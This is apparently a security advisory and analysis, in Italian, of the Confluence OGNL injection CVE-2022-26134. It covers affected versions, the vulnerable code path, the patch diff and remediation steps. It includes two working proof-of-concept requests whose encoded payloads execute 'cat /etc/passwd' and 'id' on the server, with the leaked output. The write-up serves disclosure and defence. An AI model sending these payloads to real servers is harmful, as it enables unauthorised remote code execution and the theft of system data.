
[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
[CVE-2022-26134] Iniezione Object-Graph Navigation Language (OGNL) pre-autenticazione in Confluence
Confluence è un prodotto di collaborazione workspace basato sul web sviluppato da Atlassian. Può essere distribuito on-prem o come parte di Atlassian Cloud. È composto da 3 funzionalità chiave: pagina, spazio e albero delle pagine.
Il 2022-06-02 alle 20:00 UTC Atlassian ha rilasciato un Security Advisory relativo a una vulnerabilità di esecuzione remota di codice (RCE) che interessa i prodotti Confluence Server e Confluence Data Center. Puoi trovare informazioni dettagliate sulla vulnerabilità CVE-2022-26134 qui di seguito.
Sommario: CVE-2022-26134 - vulnerabilità di esecuzione remota di codice non autenticata con gravità critica in Confluence Server e Data Center
Data di rilascio dell'advisory: 02 giu 2022
Prodotti interessati: Confluence Server e Confluence Data Center
Versioni interessate: Tutte le versioni supportate di Confluence Server e Data Center sono interessate. Le versioni di Confluence Server e Data Center successive alla 1.3.0 sono interessate.
Versioni corrette: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 e 7.18.1
ID CVE: CVE-2022-26134 Iniezione Object-Graph Navigation Language (OGNL) pre-autenticazione in Confluence
Prova di concetto: Richiesta di esempio 1
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Risposta 1
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

Prova di concetto: Richiesta di esempio 2
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Risposta 2
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close
Come funziona la vulnerabilità?
Il /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ nell'URL viene analizzato da Confluence come namespace. Il codice usa quindi translateVariables (parte delle utility di parsing del testo in Confluence) su questo namespace. Poiché translateVariables usa OGNL, l'attacco verrà analizzato e valutato.
OgnlValueStack findValue(str) è importante perché rappresenta il punto di partenza per la valutazione dell'espressione OGNL. Come puoi vedere nello snippet sottostante, TextParseUtil.class invoca OgnlValueStack.findValue quando questa vulnerabilità viene sfruttata.
public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
ActionChainResult.class chiama TextParseUtil.translateVariables usando this.namespace come espressione fornita:
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Dove namespace viene creato dalla stringa URI della richiesta in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
Il risultato è che l'URI fornito dall'attaccante verrà tradotto in un namespace, che poi arriverà fino alla valutazione dell'espressione OGNL. Ad alto livello, questo è molto simile a CVE-2018-11776, la vulnerabilità di iniezione OGNL del namespace di Apache Struts2.
Analisi della patch
Atlassian ha indicato ai clienti di sostituire xwork-1.0.3.6.jar con la nuova versione xwork-1.0.3-atlassian-10.jar. I jar xwork contengono ActionChainResult.class e TextParseUtil.class, che abbiamo identificato come il percorso verso la valutazione dell'espressione OGNL.
La patch apporta una serie di piccole modifiche per correggere il problema. Per esempio, namespace non viene più passato a TextParseUtil.translateVariables da ActionChainResult.execute:
Prima
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Dopo
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
String finalNamespace = this.namespace;
String finalActionName = this.actionName;
Grazie all'output del comando git diff, puoi vedere le differenze prima e dopo la patch in ActionChainResult.class nello screenshot qui sotto. (copiato dal blogpost di Datalog)
Atlassian ha anche aggiunto SafeExpressionUtil.class al xworks jar. SafeExpressionUtil.class fornisce il filtraggio delle espressioni non sicure ed è stato inserito in OgnlValueStack.class per esaminare le espressioni quando viene invocato findValue. Per esempio:
public Object findValue(String expr) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null && this.overrides.containsKey(expr))
Cosa possono fare le organizzazioni per proteggersi da questa vulnerabilità?
Ora che è disponibile una patch, aggiorna a una versione corretta di Confluence. Se l'applicazione della patch non è al momento fattibile, Atlassian ha fornito istruzioni temporanee di workaround per i clienti in base alle versioni di Confluence. Entrambe richiedono di spegnere temporaneamente Confluence mentre si applicano le mitigazioni. Per maggiori informazioni, fai riferimento alle indicazioni specifiche dell'advisory Atlassian:
Per maggiori informazioni sulla remediation di questa vulnerabilità, visita le seguenti risorse: